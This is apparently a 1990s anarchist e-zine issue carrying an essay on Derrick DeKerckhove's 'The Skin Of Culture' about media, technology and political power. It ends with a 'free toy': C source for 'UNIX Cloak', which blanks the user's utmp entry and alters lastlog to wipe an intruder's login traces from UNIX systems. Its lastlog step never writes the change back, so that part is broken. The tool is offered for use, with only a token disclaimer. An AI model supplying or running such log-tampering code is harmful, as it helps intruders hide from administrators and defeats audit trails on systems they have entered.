379 lines
16 KiB
Plaintext
379 lines
16 KiB
Plaintext
Subject: The Anarchives... Power & Language
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"Those not busy being born, are busy dying"
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The Anarchives Volume 2 Issue 5
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The Anarchives Published By
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The Anarchives The Anarchy Organization
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The Anarchives jterpstra@trentu.ca
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Send your e-mail address to get on the list
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Spread The Word Pass This On...
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--/\-- Language & Power
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/ / \ \ The Emerging Political
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---|--/----\--|--- Technological Environment
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\/ \/
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/\______/\ by Jesse Hirsh
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_________________ A study of Derrick DeKerckhove's
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|Free Toy Inside| The Skin Of Culture
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^^^^^^^^^^^^^^^^^
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__-___---___---___---___---___-----_____-------_______-------_____----_____
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There is a theory which states that if ever anyone discovers
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exactly what the Universe is for and why it is here, it will
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instantly disappear and be replaced by something even more
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bizarrely inexeplicable.
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There is another theory which states that this has already happened.
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_____-------______--------_______-------_______---
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oooo$$$$$$$$$$$$oooo
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oo$$$$$$$$$$$$$$$$$$$$$$$$o
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oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$
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o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$
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oo $ $ "$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$
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"$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$
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$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$
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$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ """$$$
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"$$$""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "$$$
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$$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "$$$o
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o$$" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o
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$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" "$$$$$$ooooo$$$$o
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o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ o$$$$$$$$$$$$$$$$$
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$$$$$$$$"$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$""""""""
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"""" $$$$ "$$$$$$$$$$$$$$$$$$$$$$$$$$$$" o$$$
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"$$$o """$$$$$$$$$$$$$$$$$$"$$" $$$
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$$$o "$$""$$$$$$"""" o$$$
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$$$$o o$$$"
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"$$$$o o$$$$$$o"$$$$o o$$$$
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"$$$$$oo ""$$$$o$$$$$o o$$$$""
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""$$$$$oooo "$$$o$$$$$$$$$"""
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""$$$$$$$oo $$$$$$$$$$
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""""$$$$$$$$$$$ PThhHHhhBT!!!
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$$$$$$$$$$$$
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$$$$$$$$$$"
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"$$$""""
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Evolution of the language accompanies dramatic transformative
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change. New concepts explode into all areas as the playing field
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is continuously redrawn into the playing being. Ideas are
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liberated, often accompanied by the liberation of language.
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Language is a dominant influence in the development of culture.
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The medium of language is concentrated information, carrying its
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own digital codes that can be cracked.
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Marshall McLuhan, Noam Chomsky, and Derrick DeKerckhove are all
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students of language. The attain an understanding of "reality"
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through a comprehension of words, in addition of course to the
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many other extensions of humanity. All of these guys can claim a
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large area of study as their "turf"; language and media are
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everywhere.
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They are the totalitarian theorists of the late millennium.
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They study the total media environments of the information age,
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or as DeKerckhove says, "The Age Of Mind". This is now the Age
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Of Mind; the information age.
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When their three perspectives are brought together a portrait
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emerges of a planet in synesthesia; man, machine, and nature
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fused into a single entity; a living planet; spaceship earth.
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The nature of this synesthesia is total domination; an all
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enveloping process of change directed at the consolidation and
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total centralization of power. The state continues its
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historical evolution of conquest, transforming as it
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revolutionizes the means of booty.
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Aiight, that was the quick intro. Buckle up 'cause we now go
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into the study of The Skin Of Culture by Derrick DeKerckhove,
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continuing TAO's study of the so-called revolution. It's gonna
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be heavy, so buckle up and prepare for download. I and I are
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going for a fantastic voyage.
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"When people buy these systems, they are not buying services,
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not even status; they are buying power." (DeKerckhove, pp. 95)
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The world is a stage; an arena of political competition in
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which survival has been equated with success and getting ahead
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is the only alternative to falling behind.
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Information technology is an enabling technology; it empowers
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the user with new abilities, with greater tools to accomplish
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greater tasks.
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It also plays the role of bond within a global institution;
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tying together millions, extending power outward, allowing it to
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fully integrate and proliferate. The liberation of information.
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"Relationships of ownership; they whisper in the wings
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To those condemned to act accordingly and wait for succeeding
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kings"
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(Bob Dylan 1965)
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Technological turnover however is not driven by equitable
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development, rather dictated by profit motives in tandem with
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social control. Technological dependency quickly ensues as the
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degree and rate of technological turnover is controlled.
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"Moving at very high speeds, technology itself controls the
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marketplace and, hence, culture. There used to be a time when
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history was reality; today reality is in great danger of
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becoming history. Right now, Nintendo tunes the nervous systems
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of generations exposed more frequently to computers than to
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television screens. While they are playing, our kids are turned
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into hapless extensions of their Nintendos and Segas, as if they
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were complex, organic servomechanism of crude joysticks and
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digital video cartoons. That's another image of our new selves
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growing up." (DeKerckhove, pp. 173)
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The Age of Mind represents the formation of monstrous power.
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Power of an unimaginable magnitude.
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Power is at the core of the entire technological change; media
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is an inherent source of political power and political
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organization. The new media represent the evolution of power;
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the implosion of empire as a means of imperial growth.
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We all feel this change instinctively; but a consciousness of
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it does not yet fully exist. Many are lost in the wilderness of
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advanced urbanization; isolated suburbanites vulnerable to the
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reactionaries of tele-democracy; lost in artificial realities in
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an artificial environment. Synthetic conscious permeates a
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living institution of power.
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"the power to redesign what we call 'reality'." (DeKerckhove,
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pp. 176)
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The merger between human and machine, individual and
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institution, is an expression of the forces of creation.
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Synthesis empowers as it creates.
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"After decades of being hostages to the industrial-military
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complex, we are threatened with a new kind of seizure of the
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body-politic, that of the industrial-medical complex."
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(DeKerckhove, pp. 84)
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The industrial-military complex does not dissolve, rather it
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matures and evolves. It embraces the politics of inclusion,
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absorbing all within its structure. What began in the fifties
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and sixties with the full integration of military and industry
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into the perpetual war economy, now becomes the full integration
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of the psychological and biological extensions of the same
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institution.
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"Over 25 percent of the economy in almost all of the advanced
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information states is founded on arms manufacturing and/or
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distribution." (DeKerckhove, pp. 188)
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The media created and enacted by the traditional institutions
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of war and booty, the imperial powers, transformed the
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institutions, dictating their courses of evolution. Although the
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growth of the institutions may not have been explicitly
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directed, they were centred upon embedded principles of power
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and wealth. Control within the expanding empire had to be
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ensured and developed in tandem with the institution itself.
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"Our one-way, frontal relationship with the tv screen ushered in
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mass culture. The computer screen, introducing two-way
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interactive modalities, added speed. The effect of integrated
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hypermedia will be total immersion. We are at the brink of a new
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depth culture which is now taking shape during the nineties.
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Every time the emphasis on a given medium changes, the whole
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culture shifts." (DeKerckhove, pp. 123)
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With the new technologies, and the accompanied liberation of
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information, imperial growth goes quantum. The technology
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creates new dimensions for growth, exploitation, and profit. Its
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totality ensures its success, and its success is dependent upon
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its totality. Its reach must be universal.
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"... the progress of virtual reality is relentless and it will
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eventually take over the economy - just as television once did -
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because it stimulates the convergence of market pressures and
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growing psychological needs." (DeKerckhove, pp. 93)
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There are no limits to its reach, its reach is everywhere. As
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we extend from ourselves, it extends into us. The relationship
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between human and media becomes one of domination as the
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extensions become conscious and gain lives of their own, donated
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by willing consumers, intoxicated by the seducing effects of
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technological power.
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"Three levels of integration:
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1. Inner. Hyper-concentration and acceleration of computing
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power.
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2. Outer. Standardization for international telecommunication
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networks.
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3. Interactive. Biological interactivity between humans and
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machine in virtual reality."
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(DeKerckhove, pp. 39)
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The entire process is subtle by nature. Inconspicousness as an
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inherent characteristic.
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"Computer screens established an interface between biological
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and technological electricity, between the user and the
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networks." (DeKerckhove, pp. 125)
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Critical thinking has traditionally been discouraged if not
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repressed. Consciousness of the existence and implications of
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such a total institution is perhaps directly subversive to the
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dominant mind set. It operates as a runaway train; set in its
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motion by the few, uniting the fates of all. Hurtling through
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space on a makeshift space ship.
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"Add to such a possibility that of touching the object of
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perception and modifying it, in selected ways ruled by selected
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routines, and you will eventually get the most powerful thinking
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machine ever devised: a think tank where the thought is the
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tank." (DeKerckhove, pp. 49)
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"a single global computer" (DeKerckhove, pp. 63)
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Thought and action converging into one. Our skin is the hull,
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and our brain is the central computer. Collectively we
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participate in the new model of social organization. The global
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leviathan awakens, a metamorphosis of global synesthesia and
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simultaneous communication.
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"Electricity is the new common language." (DeKerckhove, pp. 82)
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Electricity is the new blood of the nation. Our arteries (James
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Bay) are tapped through veins and nerves (cancer 'causin hydro
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lines) to give to life and energy to our body. We become the
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beacons of information travelling through the body, relaying
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bits of information for bits of information, ensuring that body
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operates effectively.
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The operation of the body is controlled by the brain. The
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collection of information by a myriad of centres that determine
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the actions within and by the body. The ties that bond, the
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extensions of the brain, hold the body together in a resonating
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symphony of creation and life. An organic order.
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"Electricity surrounds the globe in a single mesh."
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(DeKerckhove, pp. 137)
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Within the brain of course there are dominant areas that have
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significantly larger influence over the body and the operation
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of the brain than others.
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You know there's an elite jack. Within a global organic
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institution the elite, for reasons of survival, wield power in a
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conservative effort to maintain order. Presented with the
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dynamic and total powers of the leviathan an elite can enact an
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age of transformative change accompanied by the exponential
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growth of the all encompassing organic institution.
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Order is maintained while revolution reverberates throughout.
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Apathy and passivity; disenfranchisement and exclusion; enacting
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an absence of real political participation. Suffrage is
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maintained, and responsible governance represents the total
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inclusion of all in the cost of order.
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"The integration of television and other news media within
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computer networks enables polling engineers to reduce the time
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interval between question and answer, between action and
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reaction. The potential for manipulating opinions, in such
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conditions, is greatly amplified. This has many social and
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political repercussions.
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Increasingly, the politicians of western-style democracies owe
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their power base to meticulous computerized analyses of public
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opinion in any given arena. Campaign managers tailor their
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responses in locally appropriate media. During political
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campaigns the world over, tv stuffs its images into the
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electors' consciousness presented as statistical facts. All this
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is supposed to help you make up your mind. But when television
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and computers are integrated in a single feedback loop on urgent
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issues, that mind is made up for you. Your own mind may hardly
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be involved at all.
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It is one thing for polls to reflect, as accurately as possible,
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the opinions of a given community. It is quite another for the
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same polls to shape opinions, or present opinions which weren't
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there before. This is psychotechnology in action. Polls and
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statistics have a homogenizing effect on public opinion because
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they highlight, and thus promote, majority responses over
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dissent. In a culture where the means of making up one's mind
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are given less weight and time than those which make up the
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collective mind, it is easier to let the majority hold sway.
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This is one of the trade-offs between book and television
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culture." (DeKerckhove, pp. 211)
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ok lets stop here for a moment. this is the end of part one.
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part two will deal explicitly with the leviathan, the organic
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institution of global order, and the manufacturing of consent,
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the programming of culture, you know the politics of
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psychological domination.
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sometimes when i and i stop and read over a sentence or come
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out of some deep thought i and i kind of reflect on what exactly
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i and i'm saying, and usually at that point i and i gotta hold
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on to something.
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sometimes in the healing process you're not always aware of the
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actions your subconscious is bidding you to take. i and i've
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been turned on to some crazy-assed theories on media and
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society, and they need to be explored. What are the secrets to
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be found in our language?
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Thanx for making it to the end; here's your free toy:
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/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */
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/* This file totally wipes all presence of you on a UNIX system*/
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/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
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/* is compatible.. This file is for information purposes ONLY!*/
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/*--> Begin source... */
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#include <fcntl.h>
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#include <utmp.h>
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#include <sys/types.h>
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#include <unistd.h>
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#include <lastlog.h>
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main(argc, argv)
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int argc;
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char *argv[];
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{
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char *name;
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struct utmp u;
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struct lastlog l;
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int fd;
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int i = 0;
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int done = 0;
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int size;
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if (argc != 1) {
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if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
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printf("You are now cloaked\n");
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goto start;
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}
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else {
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printf("close successful\n");
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exit(0);
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}
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}
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else {
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printf("usage: close [file to close]\n");
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exit(1);
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}
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start:
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name = (char *)(ttyname(0)+5);
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size = sizeof(struct utmp);
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fd = open("/etc/utmp", O_RDWR);
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if (fd < 0)
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perror("/etc/utmp");
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else {
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while ((read(fd, &u, size) == size) && !done) {
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if (!strcmp(u.ut_line, name)) {
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done = 1;
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memset(&u, 0, size);
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lseek(fd, -1*size, SEEK_CUR);
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write(fd, &u, size);
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close(fd);
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}
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}
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}
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size = sizeof(struct lastlog);
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fd = open("/var/adm/lastlog", O_RDWR);
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if (fd < 0)
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perror("/var/adm/lastlog");
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else {
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lseek(fd, size*getuid(), SEEK_SET);
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read(fd, &l, size);
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l.ll_time = 0;
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strncpy(l.ll_line, "ttyq2 ", 5);
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gethostname(l.ll_host, 16);
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lseek(fd, size*getuid(), SEEK_SET);
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close(fd);
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}
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}
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TAO brings wings of love
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